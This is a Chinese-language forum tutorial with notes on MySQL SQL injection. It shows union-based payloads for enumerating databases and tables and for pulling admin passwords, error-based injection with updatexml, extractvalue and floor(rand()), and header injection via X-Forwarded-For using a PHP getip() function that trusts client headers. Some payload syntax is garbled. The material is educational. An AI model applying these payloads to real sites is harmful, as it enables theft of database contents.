order by(排序,用来判断字段数)
union select (联合查询,用来查询自己想要得到的数据)
database()(可以用来查询数据库)
limit 0,1(限制输出,0表示下标,1表示数量)
information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)
table_schema (数据库名)
判断是否存在注入:and 1=2
判断字段数:order by 2
查询数据库:and 1=2 union select 1,database()
查询表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema ='maoshe'
查询列名:and 1=2 union select 1,column_name from information_schema.columns where table_name ='admin' limit 2,1
查询具体数据:and 1=2 union select 1,password from admin
POST注入位置大多为与后端交互的位置,例如登录框、意见栏等<br><br>
在mysql>=5.1.5中添加了对XML文档进行查询修改的函数updatexml()和extractvalue()<br>
这里以updatexml为例,末尾附加其他报错函数语法<br><br>
head头注入主要使用到的函数是updatexml() 更新xml文档的函数<br>
语法:updatexml(目标xml内容,xml文档路径,更新的内容)<br>
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
0x7e是一个特殊符号 ~
实际上在这里是去更新XML文档,但是我们在文档路径位置写入子查询,也就是说在查找文档路径时就执行了子查询,但是由于我们输入了特殊字符不符合输入规则报错,报错时会告诉你没有这个路径
注:updatexml一般配合and或or使用,不用在意字段数但是需要在意报错长度(报错一般有长度限制)。使用and时前面语句错误后面语句不执行所以尽量用or,尽量不要使用grup_concat()函数 盲注可以尝试使用
eg:
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
X-Forwarded-For:<br>
用来识别通过HTTP代理或负载均衡方式连接到web服务器的客户端最原始IP地址的HTTP请求字段。(透明代理)<br>
这段Fetip函数是被很多网站和CMS,其实就是未来获取你的真实IP,在有代理的情况下,你会发送另外一些请求头来说明你的IP是啥,其中X-Forwarded-For是其中一种请求头字段<br>
function getip()
{
if(getenv(''HTTP_CLIENT IP')){
$ip = getenv('HTTP_CLIENT_IP');
}else if (getenv('HTTP_X_FORWARDED_FOR')){
$ip = getenv('HTTP_X_FORWARDED_FOR');
}else if(getenv('HTTP_X_FORWARDED')){
$ip = getenv('HTTP_X_FORWARDED');
}else if(getenv('HTTP_FORWARDED_FOR')){
$ip = getenv('HTTP_FORWARDED_FOR');
}else if(getenv('HTTP_FORWARDED')){
$ip = getenv('HTTP_FORWARDED')
}else{
$ip = $ SERVER['REMOTE_ADDR'];
}
return $ip;
}
注:当前页面能返回报错信息才能使用报错注入<br>
extractvalue():
语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
floor()
floor()报错注入的原理在向临时表插入数据时,由于rand()多次计算导致插入临时表示主键重复导致报错<br>
eg
select count(),concat(floor(rand(0)2),database()) id from information_schema.schemata group by id
rand(): 产生一个0-1之间的随机数,但是当我们提供一个固定随机数的种子后(rand(0)),导致每次产生的值是相同的(也称伪随机)<br>
floor(): 返回小于等于括号内的最大整数。<br>
floor (rand(0)2)其中
rand()2代表0-2之间的随机数,在加上floor后就固定产生两个数0,1<br>
group by xxx(后面用id表示):代表将xxx作为一个小组,并以xxx字段进行排序<br>
count():统计复合条件或数据一样的记录数<br>
报错解析:<br>
首先插入临时表的概念:用来存储中间结果的数据表,客户端不可见,常见场景:union语句和group by语句。<br>
当我们在执行group by id时循环读取数据的每一行,并将结果保存于临时表中。当它读取test表中id后会和临时表中存储数据进行对比,存在则更新临时表中数据(不在计算rand值),不存在则需要插入其所在行的数据,而在插入是就会再次计算rand值(可理解为查询执行一次sql语句,插入执行一次sql语句)而因为floor(rand(0)2)的不确定性,这就导致了插入时会产生冲突而报错。<br>
注:实际测试中发现,出现报错要求数据至少为3条
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
杰斯 | 5.00 | 0 | 2022-12-09 21:09:12 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.